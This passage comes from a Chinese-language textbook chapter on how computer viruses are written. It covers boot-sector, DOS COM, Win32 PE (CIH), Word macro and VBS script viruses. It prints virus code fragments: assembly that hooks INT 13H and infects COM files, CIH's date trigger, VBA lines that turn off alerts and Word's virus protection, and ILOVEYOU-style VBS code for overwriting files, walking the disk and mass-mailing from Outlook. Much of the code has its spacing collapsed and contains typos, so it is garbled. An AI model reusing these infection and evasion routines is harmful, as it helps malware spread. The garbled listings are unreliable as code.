1系統(tǒng)開(kāi)機(jī)後,進(jìn)入系統(tǒng)檢測(cè),檢測(cè)正常後,從0面0道1扇區(qū),即邏輯0扇區(qū)讀取資訊到記憶體的0000~7C00處:
·正常時(shí),磁片0面0道1扇區(qū),即邏輯0扇區(qū)存放的是boot引導(dǎo)程式;
·操作系統(tǒng)感染了引導(dǎo)扇區(qū)病毒時(shí),磁片0面0道1扇區(qū),即邏輯0扇區(qū)存放的是病毒引導(dǎo)部分,boot引導(dǎo)程式被放到其他地方。例如,大麻病毒在軟碟中將原DOS引導(dǎo)扇區(qū)搬移到0道1面3扇區(qū),在硬碟中將原DOS引導(dǎo)扇區(qū)搬移到0道0面7扇區(qū);香港病毒則將原DOS引導(dǎo)扇區(qū)搬移到39磁軌第8扇區(qū);Michelangelo病毒在高密度軟碟上,是第27扇區(qū),在硬碟上是0道0面7扇區(qū)。
2系統(tǒng)開(kāi)始運(yùn)行病毒引導(dǎo)部分,將病毒的其他部分讀入到記憶體的某一安全區(qū),常駐記憶體,監(jiān)視系統(tǒng)的運(yùn)行。3病毒修改INT13H中斷服務(wù)處理程式的入口地址,使之指向病毒控制模組並執(zhí)行,以便必要時(shí)接管磁片操作的控制權(quán)。4病毒程式全部讀入後,接著讀入正常boot內(nèi)容到記憶體0000:7C00H處,進(jìn)行正常的啟動(dòng)過(guò)程(這時(shí)病毒程式已經(jīng)全不讀入記憶體,不再需要病毒的引導(dǎo)部分)。5病毒程式伺機(jī)等待隨時(shí)感染新的系統(tǒng)盤(pán)或非系統(tǒng)盤(pán)。
(2)攻擊過(guò)程。病毒程式發(fā)現(xiàn)有可攻擊的對(duì)象後,要進(jìn)行下列工作:1將目標(biāo)盤(pán)的引導(dǎo)扇區(qū)讀入記憶體,判斷它是否感染了病毒。2滿足感染條件時(shí),將病毒的全部或一部分寫(xiě)入boot區(qū),把正常的磁片引導(dǎo)區(qū)程式寫(xiě)入磁片特定位置。3返回正常的INT13H中斷服務(wù)處理程式,完成對(duì)目標(biāo)盤(pán)的傳染過(guò)程。
5.引導(dǎo)型病毒的編制技術(shù)個(gè)人電腦開(kāi)機(jī)後,會(huì)先執(zhí)行主引導(dǎo)區(qū)代碼這一機(jī)制,給引導(dǎo)型病毒竊取第一控制權(quán)提供了機(jī)會(huì)。但是引導(dǎo)型病毒竊取控制權(quán)的時(shí)間只能是短暫的,然後就要引導(dǎo)DOS操作系統(tǒng),否則就將敗露。在竊取控制權(quán)的這段時(shí)間內(nèi),病毒的引導(dǎo)部分主要要做下列事情。(1)為病毒代碼申請(qǐng)記憶體空間,為此要儘量減少DOS的存儲(chǔ)空間。相關(guān)代碼如下:…xorax,axmovess,axmovsp,7c00hmovds,axmovax,wordptrds:[413h] ;存放最大記憶體空間0000:0413subax,4 ;給病毒申請(qǐng)4kB的記憶體空間movds:[413h],ax…(2)修改傳播需要的中斷向量。相關(guān)代碼如下:
…beginprocfarpushds ;axds:axsubax,ax ;pushax movax,code ;將代碼段地址裝入ds,esmovds,ax movex,ax movax,segctrl_c ;修改向量,ds:dx指向ctrl_c副程式movds,ax ;movdx,offsetctrl_c movah,25h ;調(diào)用號(hào)ah=25Hmoval,23h ;修改中斷向量號(hào)al=23Hint21h ;系統(tǒng)調(diào)用指令…(3)讀入病毒的其他部分,進(jìn)行病毒拼裝(在內(nèi)存高端):先從已經(jīng)標(biāo)記的簇中某扇區(qū)讀入病毒的其他部分(這些簇往往被標(biāo)記為壞簇),然後再讀入原引導(dǎo)記錄到0000:7C00H處,跳轉(zhuǎn)執(zhí)行。相關(guān)代碼如下:
movcl,06h shlax,cl ;(ax)=8F80 addax,0840h ;(ax)=97c0 moves,ax movsi,7c00h ;(si)=7c00 movdi,si movcx,0100h repzmovsw ;將病毒移到高端v2: pushax popds pushaxmovbx,7c4bh pushbx ret ;指令執(zhí)行轉(zhuǎn)入高端記憶體
callv3v3:xorah,ah ;(ah)=0int13h ;13H中斷調(diào)用movah,80handbyteptrds:[7df8h],al;v4:movbx,wordptrds:[7df9h];讀入病毒的其他部分pushcspopax ;(ax)=97c0subax,20h ;(ax)=97c0moves,ax ;(es)=97c0callv9movbx,wordptrds:[7df9h];加載邏輯扇區(qū)號(hào)incbx ;bx++是引導(dǎo)扇區(qū)movax,0ffc0h ;ffc0:8000=0000:7c00讀入原引導(dǎo)分區(qū)內(nèi)容
moves,ax callv9 xorax,ax ;(ax)=0 movbyteptrds:[7df7h],al;標(biāo)誌清0v5: movds,ax ;(ds)=0 movax,wordptrds:[4ch] movbx,wordptrds:[4ch] ;修改中斷向量
movwordptrds:[4ch],7cd6h movwordptrds:[4ch],cs;新int13H中斷已修改
pushcs popds ;(ds)=(cs) movwordptrds:[7d30h]:ax;保存原來(lái)的int13H中斷向量
movwordptrds:[7d32h]:bx;v6: movdl,byteptrds:[7df8h];加載驅(qū)動(dòng)器盤(pán)符v7: jmp0000:7c00 ;跳轉(zhuǎn)db0eah,00h,7ch,00h,00h ;跳轉(zhuǎn)指令的二進(jìn)位代碼(4)讀入原主引導(dǎo)分區(qū),轉(zhuǎn)去執(zhí)行DOS的引導(dǎo)工作。
1.3.2COM檔型病毒編制的關(guān)鍵技術(shù)1.COM檔的特點(diǎn)這裏,檔型病毒主要指DOS操作系統(tǒng)下的COM和EXE檔。首先介紹COM檔病毒程式的編制技術(shù)。COM檔具有如下特點(diǎn):(1)COM檔的存儲(chǔ)代碼與記憶體映像完全相同COM檔是在DOS外殼上直接運(yùn)行處理器指令和記憶體數(shù)據(jù)。為此,在COM檔中要包含COM程式的一個(gè)絕對(duì)映像(如圖1.4所示),並且MS-DOS要把該映像直接拷貝到記憶體加載COM程式,而不做任何改變。
(2)COM檔的長(zhǎng)度不能超過(guò)65024位元組。COM檔是一種單段執(zhí)行結(jié)構(gòu)。如圖1.4所示,它要被分配在一個(gè)64k位元組的空間中。這個(gè)空間中除了要存放COM檔外,還要存放一個(gè)程式段首碼PSP和一個(gè)起始堆疊。而PSP的大小為256位元組,起始堆疊的最小空間為256位元組,所以COM檔最大不能超過(guò)65024位元組。(3)COM檔的第1條指令必須是程式的入口點(diǎn)。
2.COM檔的加載和啟動(dòng)(1)分配記憶體:盡可能多地分配記憶體空間。在DOS運(yùn)行另一個(gè)程式或分配另外的記憶體空間時(shí),COM將釋放不需要的空間。(2)分配記憶體成功後,DOS建立一個(gè)PSP。如果PSP的第1個(gè)FCB含有一個(gè)有效驅(qū)動(dòng)器識(shí)別字,即置AL為00H;否則置AL為0FFH(3)在PS後面(偏移100H)加載COM檔,同時(shí)置SS、DS和ES為PSP的段地址。(4)建立堆疊。DOS通過(guò)把控制權(quán)傳遞給偏移100H處的指令啟動(dòng)程式。
3.可執(zhí)行檔病毒的傳染過(guò)程(1)檔病毒在宿主檔(.com或.exe)被執(zhí)行時(shí),駐留記憶體;(2)病毒開(kāi)始監(jiān)視系統(tǒng)運(yùn)行,等待被傳染目標(biāo)出現(xiàn);(3)病毒檢測(cè)可執(zhí)行檔的特定地址的標(biāo)識(shí)位,判斷該檔是否感染了病毒;(4)發(fā)現(xiàn)了被感染目標(biāo)後,利用INT13H將病毒鏈接到可執(zhí)行檔的首部、尾部或中間,並存入磁片中;(5)完成感染後,繼續(xù)監(jiān)視系統(tǒng)的運(yùn)行,尋找新的目標(biāo)。
4.檔型病毒程式編制技術(shù)檔型病毒可以加在COM檔的前部,也可以加在COM檔的尾部。不管加在何處,都可以利用COM檔的第一條指令是程式的入口點(diǎn),使啟動(dòng)COM程式前先執(zhí)行病毒程式。方法就是對(duì)程式開(kāi)始處的指令進(jìn)行修改。例如,病毒程式加在最後,就應(yīng)當(dāng)把程式開(kāi)始處的指令修改成一條跳轉(zhuǎn)指令,跳轉(zhuǎn)到病毒所在的位置。等病毒程式執(zhí)行完,再把控制權(quán)交還給COM程式。當(dāng)然,實(shí)際做的工作並不這麼簡(jiǎn)單。下麵是感染COM檔的典型病代碼。(1)修改了的檔頭部代碼cs:0100jmpendOfFile;db0e9h,0100h處為COM檔原來(lái)入口 ;dwCOM檔實(shí)際大小 ;endOfFile檔尾(加入病毒的位置)(2)在COM檔的尾部的病毒代碼部分…endOfFile:virusStart: ;病毒代碼
movax,orgcode mov[100],ax moval,[orgcode+2] mov[102],alvirusSize=$-virusStartresume: jmp100 ;db0e9h ;dw–(COM檔實(shí)際大小+病毒代碼大小)
orgcodedb3dup(?);原文件由0100開(kāi)始的3個(gè)位元組(3)代碼的進(jìn)一步完善病毒要感染COM檔,需要進(jìn)行的工作有:·首先要把開(kāi)始的3位元組保存到orgcode中,更改為0e9h;·
更改檔實(shí)際大?。弧esume開(kāi)始的3位元組改為:0e9h-(COM檔實(shí)際大小+病毒代碼大?。?;·將病毒代碼寫(xiě)到COM檔尾部;·進(jìn)行感染的判斷和文件大小的判斷。假設(shè):DS:DX指向VirusSize;VirusStart的定義如上。
;保存開(kāi)始的4位元組並改寫(xiě)db90h,0e9h ;0e990h為感染標(biāo)誌dwsizeofcom
感染代碼:…movax,3d01hint21h ;為讀寫(xiě)打開(kāi)jcOpenErrorpushdxxchgax,bxmovax,4202hxorcx,cxint21h ;移到檔尾ordx,dxjnzcomplete ;大於4位元組的檔不感染cmpax,ofeeeh-ViusSIze-11jnbcompletecmpax,4jbcomplete ;小於4位元組的檔也不感染movdi,offsetorgcodemov[di+6],axadd[di+6],VirusSize ;產(chǎn)生替換代碼movax,4200hxorcx,cxxordx,dxint21h ;移到檔頭movcx,4movdx,dimovah,3fhint21h ;讀出4個(gè)位元組jccompletecmpwordptr[di],0e990h ;如果沒(méi)有感染,則 ;nop ;jmpXXXXjzcompletemovcx,4addah,40hint21h;在檔頭部寫(xiě)4個(gè)位元組
movax,4202hxorcx,cxxordx,dxint21h ;移到檔尾
movah,40hmovdx,VirusSize+11int21h ;寫(xiě)入病毒代碼到COM檔中complete:movah,3fhint21h ;關(guān)閉檔ErrorOpen:…1.3.3Win32PE病毒編制的關(guān)鍵技術(shù)1.Win32PE檔格式Win32PE檔就是Win32(Windows95/98/2000/XP)環(huán)境下的PE格式(PortableExecutableFormat)的可執(zhí)行檔。為了瞭解病毒對(duì)它的感染機(jī)理,首先介紹PE檔的結(jié)構(gòu)和運(yùn)行機(jī)制。PE檔的格式如圖1.5所示。
(1)所有的PE檔必須以一個(gè)簡(jiǎn)單的DOSMZ頭開(kāi)始。(2)接著是一個(gè)極?。◣装賯€(gè)位元組)的DOS程式DOSstub,用於輸出警告,如“該程式不能在DOS模式下運(yùn)行”。當(dāng)Win32把一個(gè)PE檔映像加載到記憶體時(shí),記憶體映像檔的第一個(gè)位元組對(duì)應(yīng)到DOSStub的第一個(gè)位元組。(3)再接著是作為PE檔標(biāo)誌的1024位元組的PE頭。執(zhí)行體在支持PE檔的操作系統(tǒng)中執(zhí)行時(shí),PE裝載器將從DOSMZ頭中找到PE頭的偏移量。(4)PE檔的內(nèi)容部分由一些稱(chēng)為段的塊組成。每段是一塊具有共同屬性的數(shù)據(jù)。段數(shù)寫(xiě)在段表中。
(5)PE檔的裝載過(guò)程1PE檔被執(zhí)行時(shí),PE裝載器檢查DOSMZ頭中的PE頭騙移量。找到了,就跳轉(zhuǎn)到PE頭。2PE檢查器檢查PE頭的有效性。有效,就跳轉(zhuǎn)到PE頭的尾部。3讀取段表中的資訊,通過(guò)檔映射,將段映射到記憶體,同時(shí)附上段表中指定的段的屬性。4PE檔映射到記憶體後,PE裝載器處理PE檔中的有關(guān)邏輯。
2.Win32PE病毒原理一個(gè)Win32PE病毒需要具有如下一些功能。(1)重定位定位主要指程式中數(shù)據(jù)的記憶體存儲(chǔ)位置。對(duì)於正常的程式來(lái)說(shuō),數(shù)據(jù)的記憶體存儲(chǔ)位置在編譯時(shí)就已經(jīng)計(jì)算好了,程式裝入記憶體時(shí)不需要對(duì)它們重定位。病毒可能依附在宿主程式的不同位置,當(dāng)病毒隨著宿主程式裝載到記憶體後,病毒中數(shù)據(jù)的位置也會(huì)隨之發(fā)生變化。由於指令是通過(guò)地址引用數(shù)據(jù)的,地址的不準(zhǔn)確將導(dǎo)致病毒程式的不正確執(zhí)行。為此,有必要對(duì)病毒代碼中的數(shù)據(jù)進(jìn)行重定位。
(2)獲取API函數(shù)地址在Win32環(huán)境中,系統(tǒng)功能調(diào)用不是通過(guò)中斷實(shí)現(xiàn),而是通過(guò)調(diào)用API函數(shù)實(shí)現(xiàn)。因此,獲取API函數(shù)的入口地址非常重要。但是,Win32PE病毒與普通的Win32PE程式不同:普通的Win32PE程式裏有一個(gè)引入函數(shù)節(jié),程式通過(guò)這個(gè)節(jié)可以找到代碼段中所用的API函數(shù)在動(dòng)態(tài)鏈接庫(kù)中的真實(shí)地址。調(diào)用API函數(shù)是,可以通過(guò)該引入函數(shù)表找到相應(yīng)API函數(shù)的真正執(zhí)行地址。但是,Win32PE病毒只有一個(gè)代碼段,並不存在引入函數(shù)節(jié),因此不能直接用真實(shí)地址調(diào)用API函數(shù)。所以獲取API地址是病毒的一個(gè)重要技術(shù)。
1首先獲取Kernel32的基地址當(dāng)系統(tǒng)打開(kāi)一個(gè)可執(zhí)行檔時(shí),會(huì)調(diào)用Kernel32.dll中的CreateProcess函數(shù)。CreateProcess函數(shù)在完成裝載應(yīng)用程式後,先要將一個(gè)返回地址壓入堆疊頂,然後轉(zhuǎn)向那個(gè)要裝載的應(yīng)用程式。這個(gè)應(yīng)用程式結(jié)束後,就將這個(gè)地址數(shù)據(jù)彈出到EIP中,繼續(xù)執(zhí)行。因此,要獲得API函數(shù)地址,首先要獲得Kernel32的基地址。例如利用程式的返回地址,在其附近搜索Kernel32模組的基地址。2由已知API函數(shù)序列號(hào)或僅知的函數(shù)名,搜索API函數(shù)地址的過(guò)程
(3)搜索目標(biāo)檔通常通過(guò)兩個(gè)API函數(shù)FindFiratFilehe和FindNextFile實(shí)現(xiàn)。(4)記憶體檔映射使用記憶體檔映射進(jìn)行檔讀寫(xiě)。(5)感染其他檔(6)返回到宿主程式。
3.Win32PE病毒實(shí)例——CIH病毒CIH病毒以Win32PE檔為攻擊對(duì)象。它開(kāi)創(chuàng)了直接攻擊、破壞硬體的先例,發(fā)作時(shí)破壞FlashBIOS晶片中的系統(tǒng)程式,導(dǎo)致主板損壞,造成部分廠家的主板開(kāi)機(jī)後無(wú)反應(yīng);同時(shí),使硬碟驅(qū)動(dòng)器不停地轉(zhuǎn)動(dòng),病毒以2048個(gè)扇區(qū)為單位,從硬碟主引導(dǎo)區(qū)開(kāi)始依次往硬碟中寫(xiě)入垃圾數(shù)據(jù),直到硬碟中的全部數(shù)據(jù)被破壞。
(1)CIH病毒的基本特點(diǎn)·
CIH病毒很短,CIHv1.2只有1003個(gè)位元組?!た梢岳@過(guò)Windows的應(yīng)用程式介面,繞過(guò)ActiveX、C++和C,使用彙編,利用虛擬設(shè)備驅(qū)動(dòng)程式VxD,直接進(jìn)入Windows內(nèi)核?!?cǎi)用碎洞攻擊技術(shù),將病毒化整為零,插入到宿主檔中,因而不改變宿主檔大小?!だ枚鄶?shù)BIOS晶片開(kāi)放可重用性的特點(diǎn),可以向電腦主板的BIOS端口寫(xiě)如亂碼。(2)CIH病毒駐留程式的駐留過(guò)程一旦要執(zhí)行帶有CIH病毒的EXE檔,由於病毒修改了該檔程式的入口地址,使調(diào)入記憶體執(zhí)行的是病毒的駐留程式(長(zhǎng)184位元組)。駐留的主要過(guò)程如下:1.取得IDT(中斷描述符)的基地址。2.把IDT的INT3的入口地址改為指向CIH自己的INT3入口,以獲得最高級(jí)別(Ring0級(jí))的Windows許可權(quán)(可以在Windows內(nèi)核執(zhí)行各種操作,如終止系統(tǒng)運(yùn)行、直接對(duì)內(nèi)存讀寫(xiě)、截獲各種中斷、控制I/O端口等)。
3執(zhí)行INT3指令,進(jìn)入自身的INT3入口程式。具體工作為:a檢查調(diào)式寄存器DR0的值,判斷CIH病毒是否已經(jīng)駐留:
·不為0,表示CIH病毒已經(jīng)駐留,要恢復(fù)原先的INT3入口,把控制權(quán)交給Windows;
·
為0,表示尚未駐留,CIH病毒將嘗試駐留。b將當(dāng)前EBX寄存器的值賦給DR0寄存器,生成駐留標(biāo)誌。c調(diào)用INT20中斷,請(qǐng)求系統(tǒng)分配兩頁(yè)Windows記憶體,以便程式長(zhǎng)期駐留記憶體。d記憶體申請(qǐng)成功,將破碎的病毒程式收集起來(lái),組合後放到申請(qǐng)到的記憶體空間中。e調(diào)用INT3入口程式,調(diào)用INT20,在windows內(nèi)核的檔處理函數(shù)中掛接鉤子,以截取檔調(diào)用操作,以便病毒的傳染部分能在第一時(shí)間截獲要求開(kāi)啟的檔調(diào)用。f將同時(shí)截獲的核心檔輸入/輸出服務(wù)程式的入口地址保存到RD0寄存器中,以便CIH病毒調(diào)用。g駐留成功,恢復(fù)宿主檔正常入口,執(zhí)行宿主程式:
·恢復(fù)原來(lái)的IDT中斷表中的INT3入口,退出INT3;
·根據(jù)病毒程式隱藏的原文件的正常入口地址,跳到原來(lái)檔的正常入口。
(3)CIH病毒的感染過(guò)程CIH病毒的傳染是通過(guò)病毒主流記憶體過(guò)程中,調(diào)用Windows內(nèi)核底層的IFSMgr_InstallFileSystemApiHook函數(shù)掛接鉤子時(shí),指針指示的程式段實(shí)現(xiàn)。這段程式長(zhǎng)586位元組。大致過(guò)程如下:1檔截獲:調(diào)用INT20的VxDcallUniToBCSPath系統(tǒng)功能調(diào)用,取回系統(tǒng)要開(kāi)啟的檔的檔案名和路徑。2EXE檔判斷:非EXE檔,不感染,離開(kāi)病毒程式,跳回Windows內(nèi)核的正常檔處理程式。3PE格式判斷:取出檔識(shí)別字進(jìn)行分析,若Signature=“00455000(OOPE00)”且未感染,就對(duì)其感染;否則,只發(fā)作。
4寄生計(jì)算:CIH病毒利用PE格式檔的檔頭和各個(gè)區(qū)都可能存在自由空間碎片,將病毒程式拆分成若干大小不等的塊,見(jiàn)縫插針地插到宿主檔的不同區(qū)內(nèi)。首先要技術(shù)計(jì)算有無(wú)可以存放病毒首塊的空間。沒(méi)有這樣的空間就不感染。病毒首塊包括:·病毒塊鏈表指針區(qū):8×(區(qū)數(shù)+1)位元組,存放每個(gè)病毒塊的首地址(每塊4位元組)及其長(zhǎng)度(每塊4位元組);·184字的病毒駐留程式。接著將整個(gè)病毒讀入記憶體,按PE檔的各區(qū)進(jìn)行計(jì)算分配。
5寫(xiě)入病毒:按照計(jì)算結(jié)果,將各塊壓棧,以逆序?qū)⒏鲏K寫(xiě)入到相應(yīng)自由空間。(4)CIH病毒的發(fā)作CIHv1.4在每年4月26日發(fā)作。病毒從CMOS的70、71端口取出系統(tǒng)當(dāng)前日期進(jìn)行判斷:movax,0708ut70,alinal,71 ;取當(dāng)前系統(tǒng)月份xchgal,ahout70,alinal,71 ;取當(dāng)前系統(tǒng)r日xorax,0426 ;判斷… ;jz病毒發(fā)作程式1.3.4巨集病毒及其關(guān)鍵技術(shù)1.巨集病毒及其發(fā)作宏是嵌入在字處理文檔或其他類(lèi)型檔中的一段用宏語(yǔ)言編寫(xiě)的可執(zhí)行程式,用戶使用宏可以完成一些重複性的工作。例如,用戶可以通過(guò)宏定義一個(gè)擊鍵序列,然後就可以通過(guò)敲擊功能鍵或特定的組合鍵來(lái)啟動(dòng)該宏,以減少在鍵盤(pán)上的直接操作。據(jù)美國(guó)國(guó)家電腦安全協(xié)會(huì)統(tǒng)計(jì),巨集病毒大約占整個(gè)病毒的三分之一。巨集病毒所以如此猖獗,主要原因有下列一些:(1)巨集病毒感染的是文檔而不是代碼的可執(zhí)行部分巨集病毒的存在和執(zhí)行,依賴(lài)於系統(tǒng)是否具有強(qiáng)大的宏語(yǔ)言環(huán)境。Word從6.0開(kāi)始,Excel從4.0開(kāi)始,數(shù)據(jù)檔中就包含了宏語(yǔ)言功能。而電腦中具有大量這樣的文檔檔,並且人們使用極為普遍的電子郵件往往是以文檔的形式進(jìn)行傳輸。這就為巨集病毒的傳播提高了方便途徑。(2)巨集病毒與平臺(tái)無(wú)關(guān)應(yīng)用極為普遍的Word和Excel是巨集病毒的主要載體,所有支持Word和Excel的硬體平臺(tái)和操作系統(tǒng)都會(huì)感染巨集病毒。
(3)巨集病毒中有一種自動(dòng)執(zhí)行宏,它不需要用戶啟動(dòng),只要出現(xiàn)相應(yīng)的執(zhí)行事件,就可以自動(dòng)運(yùn)行。常見(jiàn)的自動(dòng)執(zhí)行宏有表1.1所示的一些。表1.1Windows的自動(dòng)執(zhí)行宏
表1.1Windows的自動(dòng)執(zhí)行宏WordExcelOffice97/2000AutoOpenAuto_OpenDocument_OpenAutoCloseAuto_CloseDocument_CloseAutoExcec
AutoExit
Document_NeweAutoNew
Auto_Activate
Auto_Deactivate
不僅Word和Excel,Access、PowerPoint、Visio、CoreDraw、WordPro也具有強(qiáng)大的宏語(yǔ)言。自Word97和Excel97之後,Microsoft逐漸將宏語(yǔ)言統(tǒng)一到VBA(VisualBASICforApplication)上。除了隨檔操作自動(dòng)執(zhí)行的宏,還有一類(lèi)宏會(huì)隨著指定鍵或指定鍵序列的操作被自動(dòng)觸發(fā),拿到系統(tǒng)控制權(quán)下麵是一個(gè)在Normal範(fàn)本中的AutoNew宏。當(dāng)用戶新打開(kāi)一個(gè)Word時(shí),就會(huì)彈出一個(gè)提示“新建檔自動(dòng)執(zhí)行宏示例”的窗口。SubAutoNew()MsgBox“新建檔自動(dòng)執(zhí)行宏示例”,0,“巨集病毒測(cè)試”EndSub2.巨集病毒的隱藏措施(1)關(guān)閉有關(guān)提示和容易引起懷疑的操作,如OnErrorResumeNext‘出錯(cuò)時(shí)不提示,繼續(xù)執(zhí)行下麵語(yǔ)句Application.DisplayAlerts=wdAlertsNone‘不彈出警告窗口Application.DisplayStatusBar=False‘不顯示狀態(tài)欄,以免顯示宏的運(yùn)行狀態(tài)Application.EnableCancelKey=wdCancelDisabled‘不可通過(guò)ESC結(jié)束當(dāng)前運(yùn)行的宏Application.ScreenUpdating=False‘關(guān)閉螢?zāi)凰⑿?,以免看到病毒引起的速度變慢Options.SaveNormalPrompt=False‘若公共模組被修改,不顯示提示窗口直接保存Options.VirusProtection=False‘關(guān)閉病毒保護(hù):若運(yùn)行前包含宏,不提示(2)遮罩一些菜單功能(如“工具|宏”等),以免被用戶手工發(fā)現(xiàn)。
3.巨集病毒的基本傳播過(guò)程(1)將巨集病毒依附與一個(gè)Word文檔;(2)通過(guò)電子郵件或移動(dòng)存儲(chǔ)設(shè)備,把該文檔輸入到一個(gè)系統(tǒng);(3)一個(gè)被染毒的.doc檔被打開(kāi)後,會(huì)通過(guò)Auto類(lèi)宏來(lái)啟動(dòng)病毒,接著感染諸如normal.dot或powerup.dot等全局範(fàn)本檔,得到系統(tǒng)的“永久”控制權(quán)。(4)宏把自身拷貝到全局宏檔中;(5)下一次啟動(dòng)Word時(shí),將啟動(dòng)全局宏,並在該宏執(zhí)行時(shí)會(huì)進(jìn)行自我複製並破壞系統(tǒng)。
1.3.5腳本病毒及其關(guān)鍵技術(shù)1.腳本病毒的特點(diǎn)腳本是嵌入到數(shù)據(jù)文檔中執(zhí)行一個(gè)任務(wù)的一組指令。最典型的腳本是嵌入到網(wǎng)頁(yè)中的腳本,它們可以實(shí)現(xiàn)網(wǎng)站的點(diǎn)擊計(jì)數(shù)器、格式處理器、即時(shí)時(shí)鐘、滑鼠效果、搜索引擎等功能。腳本由腳本語(yǔ)言描述。常用的腳本語(yǔ)言有:VBScript、Jscript、JavaScript、PerScript等。並且,腳本不是由CPU直接執(zhí)行,而是有某個(gè)程式解釋?zhuān)缜度朐贖TML檔(網(wǎng)頁(yè))中的腳本是由流覽器解釋執(zhí)行的。腳本病毒是一些嵌入在應(yīng)用程式、數(shù)據(jù)文檔和操作系統(tǒng)中的惡意腳本。腳本病毒一般嵌入在CSC(CoreDraw)、Web(HTML、HTM、HTH、PHP)、INF(information)、REG(regisry)等檔中,主要通過(guò)電子郵件和網(wǎng)頁(yè)傳播。
腳本病毒中最有代表性的是用VBScript編寫(xiě)的VBS病毒。VBS病毒具有如下一些特點(diǎn):·編寫(xiě)簡(jiǎn)單、生產(chǎn)容易;·傳播範(fàn)圍廣、感染力強(qiáng)、破壞力大;·欺騙性強(qiáng)、變種多。
2.腳本病毒的感染機(jī)制腳本病毒直接通過(guò)自我複製感染檔,病毒中的絕大部分代碼可以直接附加在同類(lèi)程式中間。例如,新歡樂(lè)時(shí)光病毒是將自己的代碼附加在.htm的尾部,並在頂部加入一條調(diào)用病毒代碼的語(yǔ)句;而愛(ài)蟲(chóng)病毒則直接生成一個(gè)檔的副本,將病毒代碼嵌入其中,同時(shí)將原文件名作為病毒檔的檔案名首碼,以vbs作為尾碼。
下麵是愛(ài)蟲(chóng)病毒的檔感染部分的關(guān)鍵代碼:setfso=createobject(“scripting.filesystemobject”)‘創(chuàng)建一個(gè)檔對(duì)象setself=fso.opentextfile(wscript.sriptfullname,1)’讀當(dāng)前打開(kāi)檔(病毒檔)vbscopy=self.readall ’讀取全部病毒代碼到字串變數(shù)vbscopy┇setap=fso.opentextfile(目標(biāo)檔.path,2,true) ’寫(xiě)打開(kāi)目標(biāo)檔,為寫(xiě)病毒代碼做準(zhǔn)備ap.writevbscopy ‘用病毒代碼覆蓋目標(biāo)檔中的代碼ap.closesetcop=fso.getfile(目標(biāo)檔.path) ‘得到目標(biāo)檔路徑cop.copy(目標(biāo)檔.path&“.vbs) ‘創(chuàng)建以.vbs為尾碼的病毒檔目標(biāo)檔.delete(true) ‘刪除目標(biāo)檔3.腳本病毒的檔搜索尋找滿足條件的感染對(duì)象,是病毒的一個(gè)重要機(jī)能。下麵是一個(gè)設(shè)計(jì)的非常巧妙的VBS病毒的搜索函數(shù)。它採(cǎi)用遞歸演算法遍曆整個(gè)分區(qū)的目錄和文件。subscan(folder_) ‘搜索函數(shù)scan定義
onerrorresumenext ‘跳過(guò)錯(cuò)誤,防止彈出錯(cuò)誤窗口
setfolder_=fso.getfoder(folder_) setfiles=folder_.files ‘取當(dāng)前目錄的所有檔集合
foreachfileinfiles ‘對(duì)檔集合中的每個(gè)檔進(jìn)行測(cè)試
ext=fso.GetExtensionName(file) ‘獲取檔案名尾碼
ext=lcase(ext) ‘小寫(xiě)轉(zhuǎn)換尾碼名
ifext=“mp3”then ‘以“mp3”尾碼作為條件
Wscript.echo(file) ‘用來(lái)模擬病毒感染或破壞模組
endif next setsubfolders=folder-.subfolders foreachsubfolderinsubfolders‘遞歸調(diào)用scan(),搜索其他目錄
scan(subfolder) nextendsub4.腳本病毒的傳播手段(1)通過(guò)電子郵件傳播通過(guò)電子郵件傳播的關(guān)鍵是獲得合法的電子郵件地址。下麵是一個(gè)VBS病毒的傳播演算法,它是直接取Outlook地址簿中的郵件地址。
setMAPI對(duì)象=Outlook對(duì)象.GetNameSpace(“MAPI”)//獲取MAPI的名字空間set地址對(duì)象=MAPI對(duì)象.地址表(i) //獲取地址表的個(gè)數(shù)for地址對(duì)象表中的每一個(gè)地址 獲取每個(gè)地址表的E-Mail地址數(shù)
for地址表中的每個(gè)E-Mail地址 獲取一個(gè)郵件地址對(duì)象實(shí)例 獲取具體E-Mail地址 填入收信人地址 寫(xiě)入郵件郵件標(biāo)題 寫(xiě)入郵件內(nèi)容 定義郵件附件 發(fā)送郵件 信件提交後刪除 寫(xiě)病毒標(biāo)記,以免重複感染
nextnext設(shè)置MAPI對(duì)象=空設(shè)置Outlook=空(2)通過(guò)局域網(wǎng)共用傳播在VBS中有一個(gè)對(duì)象可以實(shí)現(xiàn)局域網(wǎng)鄰居共用檔夾的搜索與檔操作。利用該對(duì)象可以實(shí)現(xiàn)病毒的傳播。下麵是一個(gè)簡(jiǎn)化的傳播演算法。創(chuàng)建一個(gè)網(wǎng)路對(duì)象創(chuàng)建一個(gè)網(wǎng)路印表機(jī)連接列表顯示每臺(tái)網(wǎng)絡(luò)印表機(jī)連接情況創(chuàng)建一個(gè)網(wǎng)路共用連接列表尋找目標(biāo)驅(qū)動(dòng)器感染(3)通過(guò)網(wǎng)頁(yè)檔傳播這裏主要介紹通過(guò)htm感染的機(jī)理。腳本病毒通過(guò)htm網(wǎng)頁(yè)傳播依賴(lài)於FSO(FileSystemObject,檔系統(tǒng)對(duì)象)和WSH(WindowsScriptHost,Windows腳本宿主)對(duì)象。WSH可以理解為內(nèi)嵌於Windows操作系統(tǒng)中的腳本語(yǔ)言工作環(huán)境。它較多地考慮了“非交互性腳本“的需要,使腳本功能非常強(qiáng)大,例如:·實(shí)現(xiàn)網(wǎng)路驅(qū)動(dòng)器·檢索並修改環(huán)境變數(shù)·處理註冊(cè)表項(xiàng)·對(duì)檔系統(tǒng)進(jìn)行操作·管理員用其支持功能創(chuàng)建簡(jiǎn)單的登陸腳本·編寫(xiě)腳本管理活動(dòng)目錄這些功能主要通過(guò)內(nèi)置的WSH對(duì)象實(shí)現(xiàn)。WSH共有14個(gè)內(nèi)置對(duì)象,它們分別具有不同的功能。腳本病毒通過(guò)htm網(wǎng)頁(yè)傳播的關(guān)鍵是使FSO和WSH對(duì)象能夠在網(wǎng)頁(yè)內(nèi)運(yùn)行。通常,要先對(duì)COM進(jìn)行初始化,在獲取相應(yīng)的組件對(duì)象後,病毒就可以正確地使用FSO和WSH兩個(gè)對(duì)象。下麵給出一段病毒代碼。其中{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}(WindowsScriptHostshellObject){0D43FE01-F093-11CF-8940-00A0C9054228}(FileSystemObject)是註冊(cè)表中WSH和FSO的兩個(gè)主鍵。SetAppleObject=document.applets(“KJ_guest”)AppleObject.setCLSID(“{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}”)AppleObject.createInstance() 